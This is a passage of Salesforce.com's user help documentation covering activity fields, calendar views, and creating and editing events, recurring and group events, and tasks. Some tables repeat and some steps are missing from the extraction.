Viewing Activities
Activity Fields
The available fields vary according to which Salesforce.com Edition you have.
An activity has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
See Also:
Viewing Activities
Activity Overview
104
Activities Activity Fields
Event Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user's personal currency. Available only for
organizations that use multiple currencies.
All Day Event Checkbox that specifies whether event lasts all day.
Assigned To Assigned owner of event. By default, the event is assigned to
the creator. To assign the event to another user, enter a user's
name, or select a user with the lookup icon. This field is not
available in Personal Edition.
Contact or Lead Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the “Read” permission for that
type of record; users with sharing access to the record can click
it to view more details.
Create Recurring Series of Events Allows you to set up a series of recurring events.
Created By User who created the event including creation date and time.
(Read only)
Date Planned date of event. You can enter a date, or choose a date
from the calendar that displays when you put your cursor in
the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.
Description Text note describing event. This field can hold up to 32KB
of data.
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.
Duration The length of a timed event in hours and minutes.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.
Email The email address of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.
105
Activities Activity Fields
Field Description
End Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1064.
Event Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Last Modified By User who last changed the event, including modification date
and time. (Read only)
Location Location of the event.
Phone The phone number of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.
Private Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the “View All Data” or “Modify All Data”
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for group
events or when adding or modifying an event in another user's
calendar. Private events cannot be associated with
opportunities, accounts, cases, campaigns, contracts, leads, or
contacts.
Related To The record that the event is associated with such as an account,
opportunity, or custom object. This only displays if you have
the “Read” permission for that type of record; users with
sharing access to the record can click it to view more details.
This option is not available when you associate the event with
a lead instead of a contact.
Response Optional field that allows users invited to a group event to
enter a note when they accept or decline the event. This field
is not available in Personal Edition.
Show Time As Picklist that determines how this event appears when another
user views your calendar: busy, out of office, or free time.
Start Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
106
Activities Activity Fields
Field Description
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1064.
Type Type of the event, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed event is visible
in the Self-Service portal.
Task Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user’s personal currency. Available only for
organizations that use multiple currencies.
Assigned To Assigned owner of task. By default, the task is assigned to the
creator. To assign the task to another user, enter a user’s name,
or select a user with the lookup icon. This field is not available
in Personal Edition. To assign independent copies of a new
task to multiple users, see Creating Group Tasks on page 134.
Comments Text note describing the task. This field can hold up to 32KB
of data.
Create Recurring Series of Tasks Allows you to set up a series of recurring tasks. Selecting this
checkbox automatically disables the Due Date field because
each task occurrence in a series will have a different due date.
Created By User who created the task including creation date and time.
(Read only)
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.
107
Activities Activity Fields
Field Description
Due Date Date when the task should be completed. You can enter a
date, or choose a date from the calendar that displays when
you put your cursor in the field.
Email The email address of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Last Modified By User who last changed the task, including modification date
and time. (Read only)
Name Contact or lead associated with the task. You can enter the
name of the person or use the lookup icon to select the name.
This field only displays if you have the “Read” permission for
that type of record; users with sharing access to the record can
click it to view more details.
Phone The phone number of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Priority Urgency of the task, for example, Low, Medium, or High.
(Picklist selections can be customized by your administrator.)
Related To The record that the task is associated with such as an account
or opportunity. This field is not available when you associate
the task with a lead instead of a contact. This field only
displays if you have the “Read” permission for that type of
record; users with sharing access to the record can click it to
view more details.
Send Notification Email Checkbox that sends an automated email to the task assignee
to notify him or her that the task was assigned. This option
is not available in Personal Edition.
Status Current status of task, for example, Not Started or Completed.
(Picklist selections can be customized by your administrator.)
Subject The subject or short description of the task, for example,
“Email quote to customer.” You can enter a subject, or select
from a picklist of previously defined subjects.
Task Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Type Type of the task, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed task is visible
in the Self-Service portal.
108
Activities Event Fields
Event Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user's personal currency. Available only for
organizations that use multiple currencies.
All Day Event Checkbox that specifies whether event lasts all day.
Assigned To Assigned owner of event. By default, the event is assigned to
the creator. To assign the event to another user, enter a user's
name, or select a user with the lookup icon. This field is not
available in Personal Edition.
Contact or Lead Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the “Read” permission for that
type of record; users with sharing access to the record can click
it to view more details.
Create Recurring Series of Events Allows you to set up a series of recurring events.
Created By User who created the event including creation date and time.
(Read only)
Date Planned date of event. You can enter a date, or choose a date
from the calendar that displays when you put your cursor in
the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.
Description Text note describing event. This field can hold up to 32KB
of data.
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.
Duration The length of a timed event in hours and minutes.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.
Email The email address of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.
109
Activities Event Fields
Field Description
End Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1064.
Event Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Last Modified By User who last changed the event, including modification date
and time. (Read only)
Location Location of the event.
Phone The phone number of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.
Private Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the “View All Data” or “Modify All Data”
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for group
events or when adding or modifying an event in another user's
calendar. Private events cannot be associated with
opportunities, accounts, cases, campaigns, contracts, leads, or
contacts.
Related To The record that the event is associated with such as an account,
opportunity, or custom object. This only displays if you have
the “Read” permission for that type of record; users with
sharing access to the record can click it to view more details.
This option is not available when you associate the event with
a lead instead of a contact.
Response Optional field that allows users invited to a group event to
enter a note when they accept or decline the event. This field
is not available in Personal Edition.
Show Time As Picklist that determines how this event appears when another
user views your calendar: busy, out of office, or free time.
Start Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
110
Activities Task Fields
Field Description
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1064.
Type Type of the event, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed event is visible
in the Self-Service portal.
Task Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user’s personal currency. Available only for
organizations that use multiple currencies.
Assigned To Assigned owner of task. By default, the task is assigned to the
creator. To assign the task to another user, enter a user’s name,
or select a user with the lookup icon. This field is not available
in Personal Edition. To assign independent copies of a new
task to multiple users, see Creating Group Tasks on page 134.
Comments Text note describing the task. This field can hold up to 32KB
of data.
Create Recurring Series of Tasks Allows you to set up a series of recurring tasks. Selecting this
checkbox automatically disables the Due Date field because
each task occurrence in a series will have a different due date.
Created By User who created the task including creation date and time.
(Read only)
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.
111
Activities Task Fields
Field Description
Due Date Date when the task should be completed. You can enter a
date, or choose a date from the calendar that displays when
you put your cursor in the field.
Email The email address of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Last Modified By User who last changed the task, including modification date
and time. (Read only)
Name Contact or lead associated with the task. You can enter the
name of the person or use the lookup icon to select the name.
This field only displays if you have the “Read” permission for
that type of record; users with sharing access to the record can
click it to view more details.
Phone The phone number of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Priority Urgency of the task, for example, Low, Medium, or High.
(Picklist selections can be customized by your administrator.)
Related To The record that the task is associated with such as an account
or opportunity. This field is not available when you associate
the task with a lead instead of a contact. This field only
displays if you have the “Read” permission for that type of
record; users with sharing access to the record can click it to
view more details.
Send Notification Email Checkbox that sends an automated email to the task assignee
to notify him or her that the task was assigned. This option
is not available in Personal Edition.
Status Current status of task, for example, Not Started or Completed.
(Picklist selections can be customized by your administrator.)
Subject The subject or short description of the task, for example,
“Email quote to customer.” You can enter a subject, or select
from a picklist of previously defined subjects.
Task Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Type Type of the task, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed task is visible
in the Self-Service portal.
112
Activities About Archived Activities
Archived activities can be viewed only in export files, printable view, or by clicking View All on the Activity History related
list. You can also view an archived activity if you know the URL for the activity.
Administrators can delete archived activities using Mass Delete.
Archived tasks are not included in reports. However, you can report on open or completed tasks.
See Also:
Searching for Activities
Using the Activity History Related List
113
Activities Viewing Your Calendar
Item Description
Day View icon. See Using the Calendar Day View on page
115.
Week View icon. See Using the Calendar Week View on page
117.
Month View icon. See Using the Calendar Month View on
page 117.
Single User View icon. Displays a user's calendar, a public
calendar, or a resource calendar.
Multi-User View icon. Displays several users' calendars. See
Using Multi-User Calendar Views on page 120.
Activity list view. See Viewing Activity Lists on page 95.
Note:
• Events and tasks that are part of a recurring series are marked with a recurrence icon ( )
• The group event icon ( ) identifies group events. Group events are not available in Personal Edition.
114
Activities Using the Calendar Day View
• Create an appointment by double-clicking a time slot and entering the details in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views
on page 1250.
• To change the default range of hours that your calendar displays, change the Start of day and End of day fields on
your personal information page. For example, if your workday typically begins at 8:00 AM and ends at 6:00 PM, changing
Start of day to 8:00 AM and End of day to 6:00 PM causes your daily and weekly calendar views to default to that
range of hours.
See Also:
Viewing Event Details
Creating Events
Editing Events
About Event Detail Overlays
Customizing Activity Reminders
• Click a time such as 9:00 AM to add an event at that time. Alternatively, double-click a time slot to enter the details of
the event in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see
Enable Click-and-Create Events on Calendar Views on page 1250.
• Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views on page 1250.
Drag-and-drop editing is not available for multiday events.
• Navigate the calendar using the calendar icons.
• Click Today to display the day view for today.
115
Activities Using the Calendar Week View
• Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 118.
• Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 40.
• Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
119.
In the multi-user day view, you can view the events of multiple users for the specified day. For more information, see Using
Multi-User Calendar Views on page 120.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.
See Also:
Using the Calendar Week View
Using the Calendar Month View
Viewing Event Details
Creating Events
Editing Events
116
Activities Using the Calendar Month View
• Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
119.
• Select Show Weekends to display Saturday and Sunday.
Tip: On account, contact, and lead list views click the Open Calendar link at the bottom of the page to display a
weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar
to quickly create an event associated with the record. Note that your administrator controls the availability of this
feature. For more information, see Working with Drag-and-Drop Scheduling on page 131.
In the multi-user week view, you can view the events of multiple users for the specified week. For more information, see Using
Multi-User Calendar Views on page 120.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.
See Also:
Using the Calendar Day View
Using the Calendar Month View
Viewing Event Details
Creating Events
Editing Events
In the multi-user month view, you can view the events of multiple users for the specified month. For more information, see
Using Multi-User Calendar Views on page 120.
117
Activities About Event Detail Overlays
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.
See Also:
Using the Calendar Day View
Using the Calendar Week View
Viewing Event Details
Creating Events
Editing Events
When viewing a calendar, you can hover your mouse over an event to display the event detail overlay. The event detail overlay
is a hover popup that shows information about the event and allows you to quickly edit or delete the event.
The information presented on the event detail overlay is configured by your administrator. See Defining Mini Page Layouts
on page 2368 for details on configuring the event detail overlay.
Depending on the layout of the event detail overlay, you may be able to click on fields on the overlay to see more detail. For
example, if there is a contact associated with the event, and the event detail includes that information, you can click on the
contact name to go to the contact detail page.
See Also:
Using Your Calendar and Tasks on the Home Page
In a single user calendar view, you can switch to the calendar of another user, a public calendar, or a resource calendar:
a. Choose either “User Calendars” or “Public Calendars & Resources” from the drop-down list.
b. In the Search field, enter all or part of the appropriate user, public calendar, or resource name.
c. Click Go!.
118
Activities Sharing Your Calendar
Note: When viewing a resource calendar, you cannot add a new event. You can add events to resource calendars only
by inviting the resource to an event.
To reset your view to your own calendar, click Back to My Calendar (not available in Personal Edition).
See Also:
Granting Access to Your Calendar
Creating an Event in a Public or Resource Calendar
Viewing Your Calendar
From a calendar day, week, or month view, click Share My Calendar to change how others are allowed to view your calendar.
For more information, see Granting Access to Your Calendar on page 40.
Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activity’s assignee in the role hierarchy.
See Also:
Viewing Your Calendar
Viewing Other Calendars
To print your calendar, click Printable View from any of the calendar views.
On a printable view, you can:
In addition:
• On day and week views, you can view a list of tasks that can be customized by selecting an option from the drop-down
list.
119
Activities Using Multi-User Calendar Views
• On multi-user views, you can select an option from the Sort by drop-down list to customize the display. Select Time to
include all users' events on a single calendar, or select User to display a separate calendar for each user.
See Also:
Viewing Your Calendar
To display the calendars of several users on the same page, click the Multi-User View icon ( ).
In the multi-user calendar view, you can:
• Select which calendars display by selecting, editing, and creating user list views. To show a filtered list of items, select a
predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete
any view you created, select it from the View drop-down list and click Edit.
• See the availability of each user. Consult the legend on the page to see which color indicates Busy or Out of Office time.
If a user has multiple events scheduled for a particular time, all of those events display on the calendar. Note that events
marked as Free in the Show Time As field of their event details do not display in the multi-user calendar view.
• Hover your mouse over a colored bar to see more details about an event.
• Create an event and invite multiple users. Check the boxes next to the users you want to invite, then click New Event.
Alternatively, click the Add Event ( ) icon for the appropriate day.
Note: Administrators can enable a setting for multi-user calendar views that displays event details on-screen. For
more information, see Show Event Details on Multi-User Calendar View on page 1065.
Drag-and-drop editing is not available on multi-user calendar views.
Multi-user calendar views work differently in the partner portal, for example, partners can only view calendar information for
users in their own company and for their channel manager. For more information, download the Partner Portal User Help.
See Also:
Viewing Your Calendar
Granting Access to Your Calendar
Creating Group Events
120
Activities Viewing Event Details
• Go to the Calendar section of the Home tab and hover your mouse over or click the subject of an event on the Schedule
Meetings subtab.
Only upcoming events display in the Calendar section. Once the event date has passed, the event displays on the Activity
History related list.
• From a calendar view, hover your mouse over an event to see the event's details in an event detail overlay.
• On the detail page of an associated record, click the subject line of the event from the Open Activities or Activity History
related lists.
To see all of your scheduled events for a specific day, week, or month, use the calendar icons to switch between different views.
See Also:
About Event Detail Overlays
Creating Events
Editing Events
Activity Fields
121
Activities Creating Events
Creating Events
Available in: All Editions
• From the Create New drop-down list in the sidebar, click Event.
• From the Calendar section of the Home tab, click New Event.
• From the Open Activities related list of an associated record, click New Event.
• On the day view of the calendar, click on a time to create an event for that time. Alternatively, double-click a time slot
to enter the details of the event in an interactive overlay. Note that your administrator controls the availability of
click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1250.
• On the week view of the calendar, click the Add Event Icon ( ) next to a date to create an event on that date.
Alternatively, double-click a time slot to enter the details of the event in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar
Views on page 1250.
• On the month view of the calendar, click the Add Event Icon ( ) next to a date to create an event on that date.
• On a multi-user calendar, select the users to invite, and click New Event.
2. Enter the details of the event such as subject, start date and time, and end date and time. To assign the event to a partner
user, select Partner User from the Assigned To drop-down list.
Note: If multiday events are enabled for your organization, you can create events that last up to 14 days.
If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description
field. Note that the Check Spelling button must be enabled separately for events and tasks. Spell Checker does not support
all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages, such as Japanese,
Korean, or Chinese, are not supported.
Optionally, select Create Recurring Series of Events to specify how often the event repeats. For more information,
see Creating Recurring Events on page 123.
Note: Each occurrence in a series of recurring events cannot last longer than 24 hours. Once the recurring event
series is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled.
To enable multiday events, see Customizing Activity Settings on page 1064.
3. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be
reminded.
4. Optionally, click Add Invitees to make the event a group event to which users, contacts, leads, or resources are invited.
For more information, see Creating Group Events on page 124.
122
Activities Creating Recurring Events
5. Click Save. Alternatively, click Save & New Task to save the event and create a new task or Save & New Event to save
and create an additional event.
See Also:
Editing Events
Activity Fields
Creating an Outlook Appointment for an Event
A recurring event is an event that repeats in a series, for example a weekly staff meeting that occurs every Monday at 11:00
AM. This topic describes how to complete the Recurrence section on the New Event page. For general instructions on creating
an event, see Creating Events on page 122.
Note: Each occurrence in a series of recurring events cannot last longer than 24 hours. Once the recurring event series
is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. To
enable multiday events, see Customizing Activity Settings on page 1064.
• Daily: 100
• Weekly: 53
• Monthly: 60
• Yearly: 10
3. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based
on the frequency you selected.
4. Optionally, set a reminder on the recurring event. The reminder applies to each occurrence in the event series.
See Also:
Editing Recurring Events
Creating Group Events
Viewing Your Calendar
123
Activities Creating Group Events
A group event is a meeting to which you can invite users, contacts, leads, or resources. Group events are marked with the
group event icon ( ). This topic describes how to complete the Invite Others section on the New Event page. For general
instructions on creating an event, see Creating Events on page 122.
a. Select the appropriate type of invitee from the drop-down list: users, leads, contacts, or resources.
Person accounts are returned in contact searches and can be added as invitees.
b. Enter a name or part of a name in the text field, or leave the field blank to expand the search.
c. Click Go!.
3. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected.
To add more invitees, perform a new search and select more people as needed.
Note: Group events that occur only once can have a maximum of 1000 invitees and resource. Recurring group
events can have a maximum of 100 invitees and resources.
You must have at least read access to the contacts and leads you invite to a group event. You must have at least
“Add Events” on a resource to invite it to a group event.
124
Activities Creating an Event in a Public or Resource Calendar
Invited leads, contacts, and person accounts receive an email containing a link to a web page where they can accept or
decline the invitation for the event or event series. You will also receive an email summary of the event. If an invited resource
is available at the given time, it will automatically accept the invitation. You cannot double-book resources.
See Also:
Responding to Group Events
Editing Events
Creating Recurring Events
Viewing Your Calendar
3. Enter the details of your event. For details, see Creating Events on page 122.
4. Click Save. Alternatively, click Save & New Task to save the event and immediately begin creating a new task or Save &
New Event to save and begin creating an additional event.
See Also:
Editing an Event in a Public or Resource Calendar
Managing Public and Resource Calendars
Viewing Your Calendar
125
Activities Editing Events
Editing Events
Available in: All Editions
• On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
• On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
• On single user daily and weekly calendar views, you can:
- Reschedule an appointment by dragging the item on your calendar to a different time. For best results, place your
mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single
occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of
drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing
is not available for multiday events.
- Create an appointment by double-clicking a time slot and entering the details in an interactive overlay. Note that
your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on
Calendar Views on page 1250.
• On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
• On an activities list view, click Edit next to the appropriate event.
Note: Review the following considerations about who can edit events:
• Permission to edit other users’ events is controlled by your organization's calendar sharing model and your personal
calendar sharing. However, regardless of these settings, managers in the role hierarchy can always edit the events
of people who report to them.
126
Activities Editing Group Events
• Private events can be edited only by the event owner (the user assigned to the event) and users with the “Modify
All Data” permission.
See Also:
Editing Group Events
Editing Recurring Events
Editing an Event in a Public or Resource Calendar
Creating Events
Activity Fields
Group events are marked with the group event icon ( ). To change the details of a group event that you own:
Note: You can only edit a group event if you are the event owner. As the event owner, you do not receive email when
an invitee accepts or declines an event invitation.
You can reassign a group event to a new owner unless the event is part of a recurring event series.
See Also:
Responding to Group Events
Editing Recurring Events
Editing Events
Viewing Event Details
127
Activities Editing Recurring Events
1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Edit Event.
3. Change the event fields.
4. If this is a group event, choose whether to send an email update to all invited users or just the users you added or deleted
during editing. Click Save & Send Update to save the event and send an update email, or just click Save to save your
changes without sending an email. All changes will be reflected on the calendars of users that have accepted the event.
Note: Changes made to a future event that is part of a series of recurring events will be overwritten if the series
frequency is changed.
1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Select the View Series subtab and then click the Edit Series button. Alternatively, click the Edit Series link in the
Recurrence section of the detail page.
3. Modify the fields for this series of events. Changes made will not affect events in the series that have occurred in the past.
Caution: If you change any of the details in the recurrence section of the series, all future events that were part of
the series will be deleted and new events will be created. Any changes made to individual events that have not yet
occurred, including any responses from invitees, will be lost.
4. If the series includes invitees, and you want to notify all the invitees of the changes, click Save & Send Update. If you do
not want to send updates to all invitees, click Save.
Note: If you have changed the time or frequency of the events in the series, and you do not send updates, the
response status (accepted, declined, or not responded) for each invitee will not change. If the invitee did not decline
the original invitation, the events will be added to the invitee's calendar. If you extend the end date but make no
other changes, existing events responses will not be changed unless you send updates.
See Also:
Creating Recurring Events
Editing Group Events
Editing Events
128
Activities Editing an Event in a Public or Resource Calendar
Note: Permission to edit events in public and resource calendars is controlled by the calendar sharing model.
• On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
• On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
• On single user daily and weekly calendar views, you can:
- Reschedule an appointment by dragging the item on your calendar to a different time. For best results, place your
mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single
occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of
drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing
is not available for multiday events.
- Create an appointment by double-clicking a time slot and entering the details in an interactive overlay. Note that
your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on
Calendar Views on page 1250.
• On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
• On an activities list view, click Edit next to the appropriate event.
See Also:
Managing Public and Resource Calendars
Creating an Event in a Public or Resource Calendar
Editing Group Events
Editing Events
129
Activities Responding to Group Events
When another user invites you to a group event, you receive an email containing a link to the event. The event also displays
on your Home tab if your home page layout includes your calendar. To accept or decline the event:
To create an Outlook appointment for your group event, click Add to Outlook. The event immediately opens in Outlook. If
it does not open, save it to your computer as a .vcs file, open the file with Outlook, and then save the event. The Outlook
appointment is tagged with the “salesforce.com” category so that duplicates are not created during synchronization.
See Also:
Creating Group Events
Editing Group Events
Viewing Activities
1. Select an event from the Calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Click Add to Outlook.
3. Click open to immediately add it to Outlook, or save it to your computer as a .vcs file. If you save it as a .vcs file, import
the file with Outlook.
The Outlook appointment is added to the “salesforce.com” category.
See Also:
Creating Events
Using Connect for Outlook
130
Activities Working with Drag-and-Drop Scheduling
Drag-and-drop scheduling enables you to create events associated with records by dragging records from list views on to weekly
calendar views and entering the details of the event in an overlay. This allows you to schedule events without leaving the list
view page. Drag-and-drop scheduling is available on list views for accounts, contacts, and leads.
After your administrator sets up drag-and-drop scheduling, you can click the Open Calendar link at the bottom of a list
view to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the
calendar to quickly create an event associated with the record. When the calendar is open, you can:
• Select the Change link to switch to any calendar to which you have access
• Click the Previous Week ( ) and Next Week ( ) icons to view the previous or next weeks in the calendar
• Click the Date Picker icon ( ) to choose a specific date on which to view the calendar
• Select the This Week link to view the current week in the calendar
• Select the Show Weekends checkbox to display weekends on the calendar
• Click the Close icon ( ) to close the calendar at any time. Alternatively, you can click the Close Calendar link at the
bottom of the list view to close the calendar.
• Drag the bar in between the list view and calendar to resize the height of either one
131
Activities Viewing Tasks
See Also:
Creating Custom List Views
Viewing Tasks
Available in: All Editions
Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending
mail. To view the details of a task, click the task's subject from any of the following locations:
The recurrence icon ( ) identifies tasks that are part of a recurring series. To view the details of the individual task occurrence,
select the View Task subtab (located above the task details). To view the details of the entire task series, select the View Series
subtab .
If your organization has enabled Email-to-Case or On-Demand Email-to-Case, some tasks may be associated with
Email-to-Case or On-Demand Email-to-Case emails. Click the link at the top of the task to view the associated email. See
Working with Case Emails on page 2290 for more information.
See Also:
Creating Tasks
Editing Tasks
Closing Tasks
Using Your Calendar and Tasks on the Home Page
Activity Fields
132
Activities Creating Tasks
Creating Tasks
Available in: All Editions
Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending
mail.
• Assigned To—Assigned owner of task. By default, the task is assigned to the creator. To assign the task to another
user, enter a user’s name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign
independent copies of a new task to multiple users, see Creating Group Tasks on page 134.
• Subject—The subject or short description of the task, for example, “Email quote to customer.” You can enter a
subject, or select from a picklist of previously defined subjects.
• Due Date (optional)—Date when the task should be completed. You can enter a date, or choose a date from the
calendar that displays when you put your cursor in the field.
• Comments (optional)—Text note describing the task. This field can hold up to 32KB of data.
• Related To (optional)—The record that the task is associated with such as an account or opportunity. This field is
not available when you associate the task with a lead instead of a contact.
• Name (optional)—Contact or lead associated with the task. You can enter the name of the person or use the lookup
icon to select the name.
3. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Comments field.
Note that the Check Spelling button must be enabled separately for events and tasks. Spell Checker does not support all
the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages, such as Japanese,
Korean, or Chinese, are not supported.
4. Specify the status and priority of the task.
5. Select the Send Notification Email checkbox to send a notification email to the task's assignee when you save the
task. To save the current state of the checkbox as your personal default, select Make this the default setting.
For administrative information about the Send Notification Email checkbox, see Notes on Page Layouts on page
1031.
6. To create a recurring task:
133
Activities Creating Group Tasks
• Daily: 100
• Weekly: 53
• Monthly: 60
• Yearly: 10
c. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed
based on the frequency you selected.
See Also:
Using Your Calendar and Tasks on the Home Page
Using the Open Activities Related List
Viewing Tasks
Editing Tasks
Setting Reminders on Activities
You can create a task so that up to 100 users are each assigned an independent copy of the task. For example, you could create
a task “Submit your expense reports” with the appropriate due date and assign it to a team of account executives.
This functionality is enabled by default, but your administrator can choose to disable it for your organization. For more
information, see Customizing Activity Settings on page 1064.
To create a group task:
1. On the New Task page, click the lookup icon ( ) next to the Assigned To field.
2. In the lookup window, select the Multiple Users tab.
3. Users can be organized into various categories such as personal groups, public groups, roles, or territories. In the Search
drop-down list, select the appropriate option.
134
Activities Editing Tasks
4. Optionally, enter one or more characters in the text box and click Find to perform a search.
5. In the Available Members list, click one or more items to select them. Press CTRL+click to select multiple items
individually, or SHIFT+click to select multiple adjacent items at the same time.
6. Click the Add and Remove buttons to move your selections between the lists.
7. When the appropriate choices are in the Selected Members list, click Done. If your selections total more than 100
users, you must reduce your selections before you can proceed.
8. On the New Task page, see your selections display next to the Assigned To field. The total number of tasks you are
creating also displays.
9. Continue entering task details such as due date, status, and comments.
Note: When a task is assigned to multiple users or a group, the Create Recurring Series of Tasks
checkbox is disabled. You cannot create group recurring tasks.
10. When you save the task, your selected users will be assigned copies of the task. Note that these copies are independent and
not linked; they can be edited, transferred, or deleted individually.
Tip: Personal groups are a convenient way to organize users into groups that are meaningful to you. For details, see
Creating and Editing Groups on page 496.
See Also:
Creating Tasks
Editing Tasks
